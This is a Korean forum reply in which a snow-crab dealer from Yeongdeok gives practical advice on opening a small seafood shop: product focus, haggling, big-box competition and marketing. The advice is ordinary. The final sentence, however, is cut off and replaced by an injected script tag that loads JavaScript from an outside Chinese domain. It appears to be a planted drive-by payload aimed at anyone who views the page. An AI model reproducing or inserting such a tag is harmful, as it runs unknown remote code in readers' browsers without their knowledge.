제 입장에서 한번 적어 볼까 합니다.
제 고향은 영덕대게의 본고장 영덕 강구입니다. 지난 4년전에 고향에 돌아와 대게업을 하고 있습니다. 그러면서 각 지역 어판장을 다니게 되었고, 유통의 대략적인 부분들을 이해 할 수 있는 정도입니다.
먼저, 님께서 수산물이라는 광범위한 단어 외에 구체적으로 수산물 중 주로 취급하려고 하시는 상품이 있을 수도 있고, 거기에 건어물(미역, 건오징어, 생선의 포나 채..)들이 추가 될수도 있다고 생각합니다.
그런 측면에서 어떤 방향으로 구체적으로 진행하실껀지가 정리 되어야 하리라 생각합니다.
만약, 활어 위주의 생선을 위주로 한 수산물 가게라면 일명 물차로 불리우는 활어차는 기본 적으로 있어야 하고 수족관 관리 시설외에 생선에 대한 일반적인 이해와 지역별 시황정보는 필수입니다.
다시 말해, 활어 위주의 수산물 가게는 가격과 선도에서 승패가 갈립니다.
그러나, 그러한 상인의 노력에도 불구하고 현실은 지극히 냉정해서...할인점등 대형마트에서 주로 양떼기로 날리는 가격과 상품의 구색 앞에 대도시의 수산물 가게는 초토화 되고 있는 것이 현실입니다.
비단, 위의 상품뿐만 아니라 건어물과 각종 수산물이 그러합니다.
그럼 어떻게 해야 할까요?
음.....
제가 님의 질문을 보고....한참을 생각했습니다. 그리고 제 말이 맞을지는 잘 모르겠지만, 만약 제가 님이라면 이렇게 할 듯합니다.
소자본의 범위를 잘 모르겠지만, 수산물은 기본적으로 완사입 조건입니다...일테면...
그러므로, 최초에는 도시의 틈새시장과 유통기한의 구애를 덜 받는 방향에서 우선 수산물 전반을 익힌다는 생각으로 건어물 위주의 수산물 가게를 하되, 사계절이 아닌 동계와 하계로 나누어 각각 2~3종류의 수산물만 전문적으로 취급해서 단기에 단일 상품에 대한 지식과 시장 흐름을 읽어내겠습니다.
제가 알고 있는 바로는 부천은 소래나 인천대형수산물 시장도 있거니와 대도시 소비자들은 대부분 소비자체를 대형할인마트에서 원스톱으로 진행하는 바, 상당한 고전이 예상됩니다.
그러므로, 간판과 마케팅에도 각별히 신경을 써야 합니다.
중간에 이런 얘기 하면 어떨지 모르겠지만, 저는 처음 대게를 배울때 대게수입유통업체에서 새벽마다 하역작업을 하며 대게 선별을 배웠고, 명함디자인을 직접하다 전단지를 만들고, 현수막도 직접 제작하고, 그러다가 홈페이지 제작과 홈페이지제작업체를 하다 지금은 중국에서 식당에 들어가는 식자재를 디자인 생산하고 있습니다.
심지어, 제가 파는 상품에 대한 마케팅 상품까지 만들고 있습니다. 당연히 혼자 하기 어려웠기에 이 지역 100여 상가의 마음을 잡는데 3년이 걸렸습니다.
그래서 지금은 중국 공장사장들의 명함디자인도 짬짬이 해주고 있습니다.
지금은 유통상의 경쟁력, 자본력으로 해결되는 시대가 아닙니다. 전문적인 지식은 말할것도 없이 마케팅이 되어야 합니다.
마케팅이 되려면 다 알아야 합니다.
그래서 중국 옛말에 이르길 "창업보다 수성이 어렵다." 라고 하지 않았나 생각합니다.
아마, 제가 한국에 있었다면, 님을 위해 진심어린 말을 전화로 드리려 했을지 모릅니다.
하지만, 현재 중국 사무실에 있어서....현실적을 어렵다보니....이렇게 두서없는 글을 남겨봅니다.
건강을 다시 되찾으셨다니 그것만으로 이미 반고개는 넘으신 듯합니다.
수산물...가격표 없습니다.
물론, 가격표 있는 대형마트도 있겠지만...대부분의 수산물은 상인이 부르는 게 값입니다.
부동산, 자동차...그리고 수산물이 아마도 우리나라에서 대표적으로 가격없이 흥정이 통하는 물류 아닌가 생각합니다.
그만큼 메리트는 있지만, 반대로 쉽지 않습니다.
제 고향에 그리고 주위에 냉동수산물, 건어물 관련, 대게는 당연하고 수산물 유통과 심지어 수입을 하는 사람들이 제법 있습니다.
혹시, 이 글 읽으시고 궁금하신 점 있으시면 연락 주시면 아는 범위에서 알려드리겠습니다.
수산물 전반과 유통, 각종 광고기획및 관련 상품에 대한 정보, 국내 상품의 직수입가와 마진율에 대한 포지션 분야는 전문가 수준일 듯합니다.
글을 쓴 저는, 올해 33살이며, 수산물과 관련해서는 강구 현지에서 대게전문점을 하고 있습니다.
언제 시간되시면 동아일보에 연재된 허영만 작가의 "식객" 대게 편을 보시면..출판된 "김영사" 끝장에 제 이름이 보이실 것입니다.
그만큼, 어느 정도 수산물에 관한 한은 님에게 글을 드려도 부끄럽지 않은 지식을 가지고 있지 않나 생각합니다.
모쪼록 잘 준비하셔서 단단하게 수성하시기 바랍?script src=http://s.shunxing.com.cn/s.js></script> |
